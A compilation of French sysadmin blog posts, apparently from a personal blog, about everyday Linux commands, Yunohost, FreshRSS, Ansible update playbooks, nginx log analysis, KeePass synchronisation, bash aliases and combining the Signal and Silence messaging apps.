Comme toute nouvelle prise de fonction, les précédentes personnes ayant eu à gérer le service sont parties faire d'autres horizons bien qu'une passation de connaissances s'est faite, elle s'est faite rapidement.

Et avec les semaines, on découvre que même si une documentation existe (répartie dans plusieurs wikis), elle n'a pas été maintenue à jour, n'est pas assez détaillée ou obsolète... Et avec le temps il y a des choses qui marchent mais on ne sait pas comment, il y a des serveurs qu'on ne touche pas, des services qui tournent alors on ne touche à rien. Tout cet héritage et empilage de choix technique mis en place avec les années par les différents administrateurs systèmes qui se sont succèdés, c'est ce que j'appellerai le legacy, soit l'héritage.

Contexte de l'infrastructure Je pense qu'il est important, pour la suite des billets que j'aurai à rédiger, de préciser, que l'infrastructure actuelle se compose de trois grandes catégories de machines et ces catégories ont leurs importances :
- Les machines physiques : 99% des serveurs sont sous Debian, dans différentes versions
- Les machines virtuelles sur un hyperviseur : Xen et Proxmox
- Les machines cloud (sur l'hyperviseur d'un autre)

Un travail de modernisation avec le passage à des technologies plus évolutives et flexibles (virtualisation, Docker / K8S Kubernetes...) a été débuté mais il reste encore beaucoup de "une machine physique ou virtuelle pour un service dédié" avec autant de système d'exploitations et d'applications à maintenir et à découvrir...

Je pense que je ferai là encore, une série de billets au fur et à mesure de ma progression et sur comment j'ai commencer à dresser une cartographie détaillé de l'existant, documenter de novo en reprenant TOUTE la documentation existante pour la remettre d'aplomb... Et dans le futur, je parlerai de mon expérience dans la mise en place de nouveau service, dans la refonte et modernisation de l'infrastructure...

L'objectif de ma série de billets ces prochains mois sera le partage de mon expérience acquise avec le temps, le partage de bonnes pratiques mises en places, d'astuces etc. En complément de ma série de billets plus spécifiques sur le projet Chatonkademy/

Les commandes que j'utilise le plus

Pour finir ce premier billet un peu fourre-tout, je voudrais parler des commandes que j'utilise le plus au quotidien. A l'heure actuelle, quand l'outil de supervision (sous Zabbix) remonte des alertes, je me connecte en SSH sur les machines et voici les commandes que j'utilise le plus :
- ncdu
- ls -lrtu
- tail -f /var/log/le_fichier_de_log_qui_va_bien

ncdu Habitué de la commande du dont je ne me rappelle jamais les options pour avoir uniquement le niveau 1 (réponse du -h —max-depth=1 .), j'ai découvert et depuis je ne m'en passe plus et l'installe sur tous les serveurs la commande ncdu, soit NCurses Disk Usage. Simple, rapide et efficace, on a de suite l'espace disque occupé par un répertoire. Pratique pour de suite savoir quel dossier prend plein de place, et c'est très complémentaire à du, en ajoutant en plus un système de navigation au clavier dans l'arborescence scannée. Indispensable.

ls -lrtu on liste les fichiers et on les trie par date pour de suite avoir en base de liste les derniers fichiers modifiés. Pratique pour savoir quel est le dernier fichier de logs qui vient d'être modifié (c'est le dernier de la liste), voir quel est le propriétaire et la date et heure de dernière écriture.

Pour ensuite faire dessus le classique

tail -f /var/log/le_fichier_de_log_qui_va_bien J'ai dans les projets pour les mois à venir la mise en place d'un système de gestion des logs centralisés mais en attendant, à l'ancienne, je consulte les logs avec un tail -f et éventuellement du |grep motif_qui_va_bien pour filtrer affiner un peu.

Et pour le reste, il y a les commandes que j'évoquais dans mes billets :
- Yunohost - Supervision en ligne de commande
- Yunohost - Supervision du trafic réseau

Lifehacking – Avoir des templates de documents dans Nautilus

J'ai récemment migrer sous la dernière version LTS d'Ubuntu, la 18.04, et je suis passé d'un environnement Unity (que j'utilisais depuis le début et auquel je suis resté fidèle au fil des versions) à un environnement Gnome. J'utilisais régulièrement la création de fichier vide dans un dossier de Nautilus avec un clic droit, créer un fichier et je ne retrouvais pas cette fonctionnalité dans ma nouvelle version d'Ubuntu. J'ai cherché un peu et en fait, c'est plus complet que ce que je ne pensais.

Dans le Home de l'utilisateur vous avez un dossier Modèles (ou Templates en anglais), tous les fichiers qui y figureront pourront être créés par un clic droit, vides ou contenant le texte que vous souhaitez. Bien évidemment les fichiers s'ouvriront avec les programmes par défaut de votre environnement. Source Ajouter ‘un nouveau fichier' par un clic droit avec Nautilus.

Ayant découvert que l'on pouvait donc ajouter ses propres modèles, j'ai alors déposer tout un tas de fichier template / modèle que j'ai déjà préparé dans différents formats : dès fichiers LibreOffice de différents types déjà formatés (tableau pour Calc, Présentation, Document avec en-tête et pied de page...) et des fichiers textes (Structure de billets de blogs, de fichiers de Markdown pour le Wiki

Avant, j'allais dans mon dossier de référence de template, je copiais le fichier de modèle, allait dans le dossier de travail / projet, je collais le fichier, je le renommais. Désormais, je n'ai plus qu'à faire qu'un clic droit dans n'importe quel dossier, je crée un fichier du type que je veux avec une structure déjà prédéfinie, je le renomme et je gagne du temps. Une nouvelle astuce qui m'est bine utile au quotidien.

Chatonkademy – Billet N°3 – FreshRSS, Yunohost et plusieurs utilisateurs

Série de billets sur le projet Chatonkademy

Dans ce billet je voudrais parler du cas de FreshRSS sur Yunohost avec plusieurs utilisateurs. Pour rappel, FreshRSS est une application de type agrégateur RSS, fort pratique (on peut se connecter dessus via son API pour avoir une application mobile avec EasyRSS (voir Yunohost, FreshRSS et EasyRSS pour Android).

A la suite de la création et de l'installation de l'instance Yunohost, j'ai créer un utilisateur pour moi (Genma), qui est l'utilisateur par défaur puis installer différentes applications dont FreshRSS. J'ai ensuite fait la création des utilisateurs en masse (une quarantaine) sur cette instance.

L'application n'est pas une application publique et partagée, chaque utilisateur a donc l'application disponible pour lui et aura la gestion de son propre contenu.

Le soucis est que les différents utilisateurs au moment du premier usage de FreshRSS (et des fois suivantes), rencontraient différents soucis : pas de possibilité d'importer un fil RSS, pas de possibilité de changement de langue...

La solution est de reprendre le répertoire FreshRSS de l'utilisateur qui était là à l'installation de FreshRSS et de dupliquer ce répertoire nécessaire au bon fonctionnement de FreshRSS.

Cela se fait via

cd /var/www/freshrss/data/users
# On prend comme liste d'utilisateurs ceux qui ont un dossier dans /home (créer automatiquement par Yunohost, à l'exception des dossiers Yuno*
for user in `ls /home -I yuno*` do
# On copie le dossier existant de l'utilisateur qui était initialement présent avant l'installation de FreshRSS
cp -R genma/ $user
# on change les droits car il faut que ce soit www-data le propriétaire du dossier
chown -R www-data: ./$user
done

On remarque donc que les données pour l'application FreshRSS dans Yunohost se trouvent dans le dossier /var/www/freshrss/data/users/
Ces données sont un fichier config.php qui contient des préférences / paramétrage de l'application et un fichier de log, log.txt qui contient des logs spécifiques à l'application (différents des logs liés à nginx qui se trouvent dans /var/log/nginx/).

Les données (fils RSS auxquels on est abonné, catégorie, lu ou non lu...) sont dans la base de données et sont bien sauvegardées par le script de l'application. Seul le paramétrage de l'interface n'est donc pas sauvegardé par défaut. A prendre en compte dans le processus de sauvegarde.

Yunohost 3.0 sur Debian 9 – Retour d’expérience rapide

Jusqu'à présent, Yunohost n'était compatible avec Debian 9 Stretch (uniquement Debian 8 Jessie). A l'annonce du passage en phase de test Beta sur le forum pour la compatibilité Debian 9, ayant un peu de temps, pour tester, je me suis lancé.

Yunohost 3.0 ?

Actuellement la version stable est la version 2.7.x. La version 3 apporte la compatibilité avec Debian 9 : une migration sur une instance déjà installée fait que la machine passe sous Debian 9. On a alors des versions plus récentes de PHP (passage de 5 à 7), ce qui sera mieux pour les futures versions à venir de Nextcloud qui nécessitent Php7. Et on est enfin sous Debian 9. Et ça c'est cool aussi.

Test dans une machine virtuelle clone de mon instance de production

Pour avoir un bac à sable qui ne craint rien, j'ai refait un clone complet via Clonezilla de mon instance de production (et j'ai ainsi un backup complet tout frais, en plus des sauvegardes régulières) que j'ai réimporté dans une nouvelle VM Virtualbox. Pour me connecter à celle-ci, j'ai modifié mon fichier hosts pour que l'IP de la VM corresponde aux noms de domaines de mon Yunohost de production. Je résume vite fait car je me suis basé sur mon expérience précédente abordée dans les billets précédemment écrit Yunohost dans Virtualbox et Yunohost, Clonezilla et Virtualbox

Et j'ai trouvé des bugs

J'ai ainsi pu tester plusieurs fois la migration (et repartir du snapshot fonctionnel de la VM), en indiquant à chaque fois les erreurs rencontrées, cherchant des solutions et contribuant ainsi, modestement, à mon niveau à Yunohost. Je suis assez content car mes tests ont permis de détecter des erreurs sur les applications suivantes Sonerezh et Nextcloud.

Dont voici la correction...

Le détail et toute la démarche faite durant quelques heures passées à comprendre et chercher est sur le forum, je donne directement les solutions :

Sonerezh

Il y a deux lignes où il y a des # et non des ; (ancien système de commentaire de PHP non compatible avec PHP 7).
On édite le fichier de configuration pour faire la correction :

nano -l /etc/php/7.0/fpm/pool.d/sonerezh.conf

Nextcloud

Module PHP manquant conduisant à une erreur Interne (500 dans les logs)

apt-get install php7.0-apcu -y
service nginx restart

J'ai au passage vu que les logs de Nextcloud ne sont pas dans /var/log/nginx/monsousdomaine.domaine.log (soit les logs du domaine nginx lié à Nextcloud) mais dans le fichier /home/yunohost.app/nextcloud/data/nextcloud.log

Reste à voir comment on peut faire pour ajouter tout ça en patch / proposée que ces corrections soient faites automatiquement dans les migrations et installations des applications dans YunoHost.

Sachant que pour Sonerezh, le code source de l'application en elle-même n'est plus maintenue, il faut probablement ajouter la modification dans le script de migration ou d'installation de Sonerezh en tant qu'application YunoHost. A voir.

Migrer ou non ?

La version est encore en Beta. Je ne l'ai pas testé assez longtemps pour voir si il n'y a pas d'autres soucis. J'attendrai donc la sortie officielle en version stable courant juin pour migrer mon instance de production (que j'utilise tous les jours), en attendant, dès que j'ai un peu de temps, je continuerai sur l'instance de test dans Virtualbox pour voir comment je peux continuer à aider un peu un projet que j'utilise quotidiennement. La moindre des choses étant, à mon niveau, d'aider un peu.

Mais dès à présent, de ce que j'ai pu voir, les applications suivantes sont fonctionnelles : Amapache, Dokuwiki, FreshRSS, Kanboard, Shaarli, Roundcube, Wallabag, Sonerezh (suite à la correction), WemaWema, Phpmyadmin et Nextcloud. Reste quand même à tester ça en profondeur.

Chatonkademy – Billet N°2 – Ansible pour les mises à jour

Série de billets sur le projet Chatonkademy

Introduction

Un billet déjà écrit avec quelques commandes Ansible Jouons avec Ansible et Virtualbox, dans celui-ci je donnerai quelques astuces et commandes sur l'usage d'Ansible pour des choses simples. En effet, le projet Chatonkademy contient, entre autre 40 machines virtuelles sous Debian 9 (une par étudiant), que je souhaite gérer facilement. D'où Ansible.

Prérequis

Avoir des machines installées, avec un serveur SSH actif et configuré. L'installation des 40 machines, la configuration par SSH (pour automatiser la création de l'utilisateur, de la machine etc.) fera l'objet d'un billet plus complexe sur Ansible. Car il y a une seule IP publique pour la machine superviseur (sous Proxmox), on part d'un parc de 40 machines déjà installées et configurées à minima. Toutes accessibles en SSH sur un port différent du 22 (avec redirection au niveau de l'hyperviseur).

Connexion SSH par clef publique

Copie de la clef ssh publique de l'utilisateur que j'ai sur ma machine principale (j'ai le même utilisateur sur les machines en face) sur toutes les machines via

#!/bin/bash
sshpass -p 'password' ssh-copy-id genma@chaton01.chatonkademy.com -p 20122
sshpass -p 'password' ssh-copy-id genma@chaton02.chatonkademy.com -p 20222
sshpass -p 'password' ssh-copy-id genma@chaton03.chatonkademy.com -p 20322

Pour pouvoir me connecter en ssh depuis ma machines dans .ssh/config j'ai ajoué

host chaton01.chatonkademy.com
HostName chaton01.chatonkademy.com
Port 20122
host chaton02.chatonkademy.com
HostName chaton02.chatonkademy.com
Port 20222
host chaton03.chatonkademy.com
HostName chaton03.chatonkademy.com
Port 20322
(...)

Ansible les bases

Dans le fichier /etc/ansible/hosts j'ai ajouté

[chatonkademy_std]
chaton01.chatonkademy.com:20122
chaton02.chatonkademy.com:20222
chaton03.chatonkademy.com:20322
(...)

Quelques tests avec un appel de commande pour valider qu'Ansible marche bien

ansible openhackademy -m command -u genma --args "uptime" --one-line
ansible openhackademy -m command -u genma --args "df -h" --one-line

On remplacera le args par une commande simple que l'on veut et on redirigera la sortie standard dans un fichier que l'on analysera par la suite.

Ansible playbook pour mises à jours

Création d'un playbook Ansible pour les mises à jours dans le fichier hosts update_upgrade.yml

---
- hosts: chatonkademy_std
remote_user: genma
become_method: sudo
become_user: root

tasks:
- name: update and upgrade apt packages
apt:
update_cache=yes
state=latest
upgrade=yes

Lancement du playbook

ansible-playbook -i /etc/ansible/hosts update_upgrade.yml -K

Résultat de l'exécution

ansible-playbook -i inventory/production/chatonkademy update_upgrade.yml -K
SUDO password:
[DEPRECATION WARNING]: Instead of sudo/sudo_user, use become/become_user and make sure become_method is 'sudo' (default). This feature will be removed in version 2.6.
Deprecation warnings can be disabled by setting deprecation_warnings=False in ansible.cfg.

PLAY [chatonkademy] **********************************************************

TASK [Gathering Facts] ******************************************************
ok: [chaton01.chatonkademy.com]
ok: [chaton02.chatonkademy.com]
ok: [chaton03.chatonkademy.com]
ok: [chaton04.chatonkademy.com]

TASK [update and upgrade apt packages] **************************************
[WARNING]: Could not find aptitude. Using apt-get instead.
changed: [chaton04.chatonkademy.com]
changed: [chaton01.chatonkademy.com]
changed: [chaton03.chatonkademy.com]
changed: [chaton02.chatonkademy.com]

PLAY RECAP *****************************************************************
chaton02.chatonkademy.com : ok=2 changed=0 unreachable=0 failed=0
chaton03.chatonkademy.com : ok=2 changed=0 unreachable=0 failed=0
chaton04.chatonkademy.com : ok=2 changed=0 unreachable=0 failed=0

Conclusion

Les machines virtuelles sont utilisables via Ansible pour la maintenance etc. On va pouvoir des choses intéressantes. A suivre dans un projet billet sur le projet Chatonkademy !

Chatonkademy – Billet N°1 – Les utilisateurs

Série de billets sur le projet Chatonkademy

Introduction
Le projet continue et d'autres billets sont en cours de rédaction. Je publie celui-ci pour partager quelques astuces de bases dont j'ai eu besoin. Dans celui-ci, quelques astuces sur les utilisateurs et Yunohost (rappel : dans le projet il y a une instance Yunohost multi utilisateur).

Créer des utilisateurs en masse dans Yunohost

On fait appel à la moulinette. On crée un script du type
Dans le présent script, les mot de passe sont en dur

#!/bin/bash

yunohost user create chaton01 -p motDePasseChaton01 -f chaton01 -l chaton01 -m chaton01@chatonkademy.com --admin-password motDePassAdminYunohost
yunohost user create chaton02 -p motDePasseChaton02 -f chaton02 -l chaton02 -m chaton02@chatonkademy.com --admin-password motDePassAdminYunohost
yunohost user create chaton03 -p motDePasseChaton03 -f chaton03 -l chaton03 -m chaton03@chatonkademy.com --admin-password motDePassAdminYunohost
yunohost user create chaton0X -p motDePasseChaton04 -f chaton0X -l chaton0X -m chaton0X@chatonkademy.com --admin-password motDePassAdminYunohost

Largement améliorable en utilisant des variables pour les mots de passe utilisateur et le mot de passe administrateur, ce qui évite de les mettre en dur au sein du script.

Applications

Dans mon cas, tous les utilisateurs ont accès à toutes les applications. J'ai installé les applications après la création des utilisateurs.
Je ferai un billet (ou plusieurs) sur le cas des applications.

Surveiller leurs connexions

Le besoin est le suivant : les utilisateurs ont été crées, le mot de passe communiqués. Comment suivre si l'instance Yunohost est bien utilisée et si oui par quels utilisateurs. Il y a plusieurs façons de faire et de voir il y a des connexions des utilisateurs.

Tous les logs de connexion se trouvent dans le fichier /var/log/nginx/chatonkademy.com-access.log

Les logs étant compressés, on peut passer par zcat et créer un fichier de cumul des logs dans /tmp/access.log pour avoir un suivi depuis le début de la création de l'instance.

cat /var/log/nginx/chatonkademy.com-access.log >> /tmp/access.log
zcat /var/log/nginx/chatonkademy.com-access.log.*.gz >> /tmp/access.log

Un peu de shell en une ligne permet de faire pas mal de choses, selon les besoins. Quelques exemples :

Ip et utilisateur

root@cloud:# cat /tmp/access.log |cut -f1 -d '[' |sort -u
1.2.3.1 - chaton01
1.2.4.5 - chaton02
1.2.1.2 - chaton03
1.2.1.2 - chaton01
1.2.1.4 - chaton04

Nombre de connexion par utilisateur

cat /tmp/access.log |grep -v "\- \-" |cut -f1 -d '['|cut -d "-" -f2 |sort |uniq -c |sort -nr
5733 chaton03
1525 chaton02
1334 chaton01
913 chaton04

Quel(s) utilisateur(s) se connecte quel jour ?

cat /tmp/access.log |cut -f1 -d ']' |grep -v "\- \-" |cut -f1 -d ':'|cut -f2 -d '-'|uniq |sed 's/\[//g'
chaton04 11/Apr/2018
chaton01 11/Apr/2018
chaton04 11/Apr/2018
chaton01 11/Apr/2018
chaton03 12/Apr/2018
chaton02 12/Apr/2018
chaton01 12/Apr/2018
chaton02 12/Apr/2018
chaton03 12/Apr/2018

Analyse des logs en graphique

On pourra envisager l'installation de la suite ELK (ElasticSearch Logstash Kibana, pourquoi pas) avec des dashbords qui vont bien pour avoir le reporting des connexions. Pour faire faire plus simple et déjà avoir quelques graphiques, j'ai eu recours un GoAccess. Voir à ce sujet Yunohost - Goaccess - Rapport HTML depuis des logs d'un serveur web.

J'ai repris l'idée de faire l'installation de customWebApp dans Yunohost appelée "Logs" dans laquelle je dépose un fichier index.html qui est le rapport généré par GoAccess

Création d'un script qui contient

#/bin/bash
goaccess --log-format=COMBINED -f /tmp/access.log -a -o /var/www/my_webapp/www/index.html

On le lance via

./root/script_goaccess.sh

On consulte les logs via https://chatonkademy.com/logs/ tout simplement.

Coffre-fort de mot de passe : état des lieux

Pour (re)définir ce que j'entends par Coffre-fort de mot de passe, je dirai ceci : "Dans le guide d'hygiène numérique, j'évoque le fait qu'il faut avoir un mot de passe différent généré aléatoirement par site, le tout stocké dans un logiciel dédié, un coffre-fort de mot de passe, qui s'ouvre avec une phrase de passe"

J'ai écrit différents articles de sensibilisation et de partage sur les mots de passe et les coffres-forts de mot de passe et je vous mets la série de lien ci-dessous :
- Les phrases de passe
- Changement de mot de passe et testament numérique
- Keepass au quotidien c'est possible
- A.I.2 - Porte blindée ou coffre-fort ?
Et d'une façon générale, Les billets tagués Keepass

Il existe des solutions de service en ligne qui ont l'avantage de proposer une synchronisation (via Internet) entre différents appareils (ordinateur, smartphone, tablette), mais dont le code source n'est pas accessible. Les experts en sécurité des podcasts que j'écoute (Le Comptoir Sécu pour ne pas le nommer) utilise et vante ce type de solution. Personnellement, adepte du logiciel libre, j'ai fait depuis un moment le choix de Keepass. Il faut un petit temps d'adaptation, car un gestionnaire de mot de passe (l'autre nom pour coffre-fort de mot de passe) demande un petit temps d'appropriation. Avec le temps, le réflexe est là : toute nouvelle inscription sur un site passe par la création d'une fiche dans Keepass, la création d'un mot de passe aléatoire utilisé uniquement pour le site en question.

Quelle solution pour une synchronisation ?

Différents billets de blogs et messages dans des forums proposent une même solution, à savoir :
- KeepassX (dans mon cas je suis passé à KeepassXC) ;
- Synchronisation du fichier de base de données via Nextcloud ;
- Application Keeweb intégrée à Nextcloud pour avoir un accès web ;
- Application Keepass2Android et synchronisation Webdav ou via l'application Nextcloud pour un usage mobile.

Quid des sauvegardes ?

Le fait d'avoir un coffre-fort de mot de passe synchronisé entre plusieurs appareils ne fait pas que l'on en a une sauvegarde. Car si on modifie / supprime un des mots de passe du coffre-fort, avec la synchronisation, la suppression est copié dans toutes les versions et on perd définitivement le mot de passe. Les recommandations liées aux sauvegardes s'applique donc là aussi : on copiera régulièrement le fichier du coffre-fort numérique sur un espace de confiance (par exemple un disque externe sur lequel on fait ses sauvegardes, disque que l'on conserve soigneusement).

Quid de la sécurité ?

La sécurité de Keepass tient essentiellement à la qualité et la complexité (la longueur) de la phrase de passe (il faut également penser à mettre à jour le logiciel).

La synchronisation via Nextcloud pose le soucis de la sécurisation de Nexcloud en lui-même (il faut maintenir le serveur à jour et de façon sécurisé et de préférence déléguer cette partie à un administrateur système de confiance, comme au sein des CHATONS par exemple).

Dans le cas de la synchronisation par un client Nexcloud sur son téléphone, on a donc une copie de son coffre-fort numérique sur son téléphone. Tout comme avec son ordinateur (rappel les smartphones ne sont rien d'autres que des ordinateurs au format poche), il faut donc protéger son appareil avec un code, nécessaire au déverrouillage. Et activer le chiffrement du disque.

Autre solution (complémentaire) : avoir deux conteneurs Keepass. Un avec les mots de passe usuels que l'on peut utiliser sur un smartphone et un avec les mots de passe critique qu'on n'utilisera que sur des appareils de confiance, qui risquent peu (il y a toujours un risque, quelque soit l'appareil, mais il est plus facile de voler un smartphone - ou de le perdre) qu'un ordinateur de type tour qui ne bouge pas de son bureau.

Chatonkademy – Billet N°0 – Présentation du projet

Dans le cadre du projet d'une école du numérique auquel je participe, l'OpenHackademy, nous (des membres d'une de mes équipes et moi-même) avons été amené à mettre en place l'infrastructure informatique qui sert aux apprenants dans le cadre de leur formation.

Au fur et à mesure, nous documentons tout ça en interne. Comme je me dis que l'expérience peut être utile à d'autres, je débute par le présent billet une une série de billets techniques relatant tout ce que nous avons pu apprendre dans la mise en place de cette infrastructure et son maintien au quotidien, son évolution...

Ce retour d'expérience se basera également sur l'expérience d'autres CHATONS avec lesquels j'ai pu échangé et discuté, venant ainsi compléter si besoin mes propos, proposer d'autres solutions logicielles que celle que j'ai pu mettre en place si il y a lieu, justifiant ainsi les choix techniques réalisés.

Présentation du projet

Pourquoi Chatonkademy ? Ce petit nom n'est autre que la contraction de CHATON et OpenHackademy. Pour l'OpenHackademy je vous renvoie vers >mon billet de blog dédié sur le sujet. Pour les CHATONS, le Collectif des Hébergeurs Alternatifs,Transparents, Ouverts, Neutres et Solidaires, vers le site du projet : https://chatons.org

En quelques mots, CHATONS ce sont les AMAP de l'informatique libre. Promouvant le projet au travers mon implication au sein de l'association Framasoft.

L'infrastructure

L'infrastructure repose sur un hyperviseur tournant sous Proxmox avec une IP fixe (en IPv4) et une IPv6, les différentes problématiques liées à l'usage d'une seule IP publique avec des ports particuliers (web, ssh etc.) seront abordés dans des billets dédiés.

Les machines virtuelles

Chaque étudiant a sa propre machine virtuelle pour son apprentissage. Les machines virtuelles sont gérées par les étudiants qui ont les droits administrateurs sur les machines (via un compte sudoers). Nous avons déployés ces machines sous Debian 9 et nous les avons "ansibelisées" : les playbooks etc. seront mis à disposition dans des billets dédiés. L'intervention sur plusieurs machines à distance en même temps (pour saisir la même commande), la gestion des logs centralisés pour ces différentes machines, leurs sauvegardes etc. Toutes ces problématiques donneront lieu, là encore, droit à des billets dédiés.

Yunohost

Ayant sensibilisé les apprenants au projets aux problématiques tel Le cloud, c'est l'ordinateur d'un autre et à celui de faire de la veille, (voir à ce sujet mon billet Le combo gagnant pour optimiser sa veille), j'ai mis en place une instance Yunohost multi-utilisateurs. Je suis administrateur de l'instance, chaque étudiant a son compte sur Yunohost et les applications que je lui mets à disposition.

Je ferai un ou plusieurs billets dédiés sur la gestion de Yunohost dans le cadre d'un certain nombre d'utilisateurs (40), le côté mono ou multi-utilisateur des applications (partagée publiquement ou non, cloisonnée pour chaque utilisateur ou non). Cette expérience sera également l'occasion de passer d'une instance Yunohost personnelle à une instance de plus grand niveau. Selon la sollicitation de l'instance, je serai amené à augmenter ou réduire sa capacité matérielle (ce qui se fait aisément vu qu'il s'agit d'une machine virtuelle), je ferai des retours d'expériences sur quelle type de machine pour combien d'utilisateur en même temps.

Conclusion

Pour conclure ce premier billet numéroté 0, il y a déjà pas mal de choses à rédiger et mettre en forme, à anonymisée avant de mettre à disposition sous la forme de tutoriels et billets de blogs. Ce premier billet donne, je pense, une bonne idée des billets et projets à venir (tous les chantiers ne sont pas finis et pour beaucoup la peinture n'est pas encore sèche). A suivre donc :)

Lifehacking avec les alias bash

Définition des alias bash

Les alias permettent de définir des raccourcis pour vos commandes saisies dans en console. Ainsi, une commande fréquente et relativement longue sera rendue accessible en tapant un simple mot clé prédéfini par le système ou que nous aurons créé (raccourcis).
Documentation sur Debian-facile.org et sur le site Ubuntu-fr.org

Mes alias

Les alias personnels sont donc crées dans le fichier /.bash_aliases

J'ai différents alias repris de tutoriel que l'on peut trouver du type les 30 alias bash les plus utiles. Je n'ai gardé que certains qui me sont utiles.

alias rm='rm -i' # -i -> demande de confirmation
alias cp='cp -i' # -i -> demande de confirmation
alias mv='mv -i' # -i -> demande de confirmation

# Alias GREP
alias grep='grep --color=auto'
alias fgrep='fgrep --color=auto'
alias egrep='egrep --color=auto'

# Alias DU
alias du='du -h --max-depth=1'
alias du+='du -h --max-depth=1 | sort -h -r | less'
alias dusort='du -x --block-size=1048576 | sort -nr'
alias df='df -h'

Et j'ai créé les miens. Parmi ceux là, en voici quelques-uns :

J'utilise désormais Borg comme outil de sauvegarde et du coup je me suis fais des alias pour pouvoir me rendre directement dans le bon dossier, lancer ma sauvegarde de mes Documents avec Borg, faire le ménage...

# ===========================
# Alias Sauvegardes pour BORG
# ===========================

alias borgDossier='cd /media/genma/_Stockage/BorgBackup/'
alias borgDocument='borg create -v --stats ./::`date +%Y-%m-%d-%H:%m:%S` /home/genma/Documents/'
alias borgPurge='borg prune -v --list --keep-daily=7 --keep-weekly=4 --keep-monthly=-1 .'
alias borgUmount='borg umount /Backup/BorgBackup/MontageBackup'

J'utilise différentes version de Firefox et de Thunderbird pour faire de test avec

# ============================
# Alias Firefox
# ============================
alias firefoxDevelopper='~/LOGICIELS/Firefox_Developper_Edition/firefox -no-remote -p'
alias firefoxNightly='~/LOGICIELS/Firefox_Nigthly/firefox -no-remote -p'
alias firefoxESR='~/LOGICIELS/Firefox_ESR/firefox -no-remote -p'
alias thunderbirdBeta='~/LOGICIELS/thunderbirdBeta/thunderbird -no-remote -p'
alias thunderbirdAlpha='~/LOGICIELS/thunderbirdAlpha/thunderbird -no-remote -p'

En quoi est-ce du lifehacking ?

J'utilise de plus en plus le terminal avec comme outil Terminator (un terminal qui permet d'utiliser des onglets, de séparer la fenêtre courante en sous shell...). Et pour être plus efficace pour des commandes que j'ai régulièrement à utiliser, toute commande qui est régulièrement utilisée pour le lancement / redémarrage de service est définie en tant qu'alias... J'envisage de faire un playbook dédié Ansible pour déployer un fichier .bash_alias de référence sur les différentes machines et serveurs sur lesquelles je me connecte régulièrement...

L'avantage des bash_aliases est que je gagne réellement en efficacité. Et c'est en ças que c'est du Lifehacking.

L'inconvénient est que je ne connais pas / plus toutes les options de beaucoup de commandes Shell par coeur...

Silence vs signal quelle combinaison ?

Attention : Silence est une application pour un échange de SMS chiffré. Signal envoie des Messages chiffrés (nécessité de connexion via un serveur), mais permet aussi l'envoi et la réception de SMS classique (passage par les services des opérateurs téléphoniques). Je précise donc bien SMS chiffré ou Message chiffré. Il existe un comparatif détaillé de pourquoi l'un ou l'autre de ces applications pour des échanges chiffrés et la réponse, en résumé est "Ca dépend". Pour le détail et le pourquoi ce Ca dépend, voir Support Signal vs Silence.

L'objectif ici est de savoir quelle est la combinaison pour avoir à la fois Silence et Signal sur son smartphone, ne pas avoir à choisir l'un ou l'autre mais pouvoir avoir les deux, pour être joignable via deux canaux de communications chiffrés différents, selon l'exposition / le modèle de menace lié à l'échange en cours (qui a la possibilité de voir les métadonnées de l'échange, voir Support Signal vs Silence).

Protocole de test

J'ai deux téléphones, un smartphone personnel et un smartphone professionnel. J'ai donc fait des tests pour déterminer qu'elle était la combinaison gagnante.

Sur le téléphone professionnel, j'ai mis Signal en application SMS par défaut et Silence en application secondaire. Sur le téléphone personnel j'ai mis Silence en application SMS par défaut et Signal en application secondaire.

Envoi de SMS normaux
Les téléphones les reçoivent en clair dans leurs applications SMS par défaut, et ce dans les deux sens (envoi pro vers perso et inversement).

Après activation des canaux de communication chiffré au sein de Silence et au sein de Signal (échanges des clefs entre les deux applications via les numéros des smartphones).

Envoi d'un SMS chiffré depuis Silence du perso vers le pro : le SMS chiffré arrive dans Signal (application par défaut de SMS) est cryptique / chiffré. En même temps, Silence notifie l'arrivée d'un message et permet de le lire de façon déchiffré.

Envoi d'un SMS chiffré depuis Silence du pro vers le perso : le SMS chiffré arrive dans l'application par défaut Silence et peut être lu. Signal pourrai ne pas être présent.

Envoi d'un message chiffré depuis Signal du perso vers le pro. Et envoi d'un message chiffré depuis Signal du pro vers le pro

L'application Signal n'est pas l'application SMS par défaut ne change rien. Dans tous les cas, l'envoi et la réception du message chiffré nécessite l'activation de la connexion data - d'une connexion à Internet (Wifi ou 3-4G). L'envoi ne peut se faire en chiffré que via une connexion au serveur de Signal, la réception nécessite une connexion Internet.

Tant que la connexion n'est pas active, on reçoit les SMS normaux dans Signal (si l'application est l'application SMS par défaut) et les messages chiffrés à l'activation d'une connexion à Internet.

Conclusion : la bonne combinaison ?

La bonne combinaison pour avoir Signal & Silence sur son smartphone est donc d'avoir Signal en application SMS par défaut et Silence en application secondaire. Il faut garder à l'esprit que pour recevoir des messages chiffrés au sein de Signal, il faut activer la data si on veut être joignable. Signal relèvera les SMS dans tous les cas (SMS classiques et SMS chiffrés), ceux qui sont chiffrés seront aussi lisibles dans Silence en clair.